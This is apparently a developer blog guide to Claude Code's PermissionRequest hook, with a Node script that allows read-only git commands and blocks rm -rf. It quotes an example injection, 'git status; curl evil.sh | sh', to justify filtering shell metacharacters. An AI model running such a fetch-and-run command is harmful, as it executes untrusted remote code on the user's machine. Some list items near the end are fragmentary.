Every Claude Code user knows the moment: Claude has done ten minutes of good work, then stops on
Allow this? npm test
and waits. Most hook guides cover PreToolUse, PostToolUse and Stop. The hook that runs at that exact moment is PermissionRequest, and it can answer the prompt for you, or hand it to anything you like: a script, a chat bot, a window, your phone.
This guide covers what Claude Code sends to the hook, what the hook can send back, a small working example, how Claude's multiple-choice questions (AskUserQuestion) use the same hook, and the mistakes I made building a real tool on it.
PermissionRequest fires when Claude Code is about to show a permission prompt. If you already allowed a command in your settings, there is no prompt and no hook. That makes it different from PreToolUse, which runs before every tool call: PermissionRequest only runs when a human would otherwise have to decide.
Two things make it useful:
timeout (in seconds) can be long. A hook that waits for a tap on a phone for ten minutes is fine.
The hook gets one JSON object on stdin. The fields you will use:
{
"hook_event_name": "PermissionRequest",
"session_id": "4f1c...",
"cwd": "/home/me/project",
"tool_name": "Bash",
"tool_input": { "command": "npm test", "description": "Run the tests" },
"permission_suggestions": [ { "type": "addRules", "...": "..." } ]
}
tool_input depends on the tool: command for Bash/PowerShell, file_path for Write/Edit, url for WebFetch, query for WebSearch. permission_suggestions holds what Claude Code would save if you picked "Always allow".
Print one JSON object to stdout:
{ "hookSpecificOutput": { "hookEventName": "PermissionRequest",
"decision": { "behavior": "allow" } } }
{ "behavior": "allow" } is the same as clicking Allow.{ "behavior": "allow", "updatedPermissions": <permission_suggestions> } is "Always allow": pass back the suggestions you were given.{ "behavior": "deny", "message": "Not on main, please" } refuses, and Claude reads your message.
That last point is the most important design rule: when in doubt, print nothing.
This hook allows read-only git commands, refuses rm -rf, and leaves everything else to you. Save it as ~/.claude/hooks/permission.js:
// PermissionRequest hook: allow read-only git, deny rm -rf, stay quiet otherwise.
let raw = '';
process.stdin.on('data', (c) => (raw += c));
process.stdin.on('end', () => {
let call;
try { call = JSON.parse(raw); } catch { return; } // bad input: no opinion
if (call.tool_name !== 'Bash') return;
const cmd = String((call.tool_input || {}).command || '').trim();
const reply = (decision) => process.stdout.write(JSON.stringify({
hookSpecificOutput: { hookEventName: 'PermissionRequest', decision },
}));
if (/^git (status|log|diff|show|branch)\b/.test(cmd) && !/[;&|`$]/.test(cmd)) {
return reply({ behavior: 'allow' });
}
if (/\brm\s+-[a-z]*r[a-z]*f|\brm\s+-[a-z]*f[a-z]*r/i.test(cmd)) {
return reply({ behavior: 'deny', message: 'rm -rf is blocked by my hook. Delete files one by one, or ask me.' });
}
// anything else: print nothing, the normal prompt decides
});
Then register it in ~/.claude/settings.json:
{
"hooks": {
"PermissionRequest": [
{ "matcher": "*",
"hooks": [{ "type": "command", "command": "node ~/.claude/hooks/permission.js", "timeout": 30 }] }
]
}
}
The check for ; & | $ and backticks matters: without it git status; curl evil.sh | sh would pass as "read-only git".
When Claude asks a multiple-choice question (the AskUserQuestion tool), Claude Code asks permission to show it, so PermissionRequest fires with tool_name: "AskUserQuestion" and the questions in tool_input.questions. The hook can answer the question itself by allowing the tool with the answers filled in:
{ "hookSpecificOutput": { "hookEventName": "PermissionRequest",
"decision": { "behavior": "allow",
"updatedInput": { "questions": [ ... ], "answers": { "Which database?": "SQLite" } } } } }
Give a separate matcher ("AskUserQuestion") its own script if you want different handling for questions and for commands.
I built Mirror for Claude on these hooks: it shows every Claude Code chat live and lets you answer "Allow this?" and Claude's questions from a mini window, a browser, a terminal or a phone. These are the things that cost me the most time:
PreToolUse hook that waits for an answer runs PermissionRequest the prompt shows in VS Code and in your other place at the same time..jsonl file under ~/.claude/projects/) for the tool result and exit quietly when it appears, or the phone keeps showing a request that is already gone.git or node from a detached process without windowsHide: true flashes a console window on every message.;, &&, a pipe or $( ). Decide on the whole string.
Start with the 20-line example above: it already saves you the read-only git prompts. If you want the whole thing (every chat live, Allow / Always allow / Deny and question answers from a window, browser, terminal or phone, finish alerts and a usage bar), Mirror for Claude is free for personal use and runs on plain Node with no dependencies:
/plugin marketplace add viswa-jagadeesan-personal/mirror-for-claude
/plugin install mirror-for-claude@mirror-for-claude
or the zip from the website. It's in beta and not affiliated with Anthropic, so bug reports are very welcome.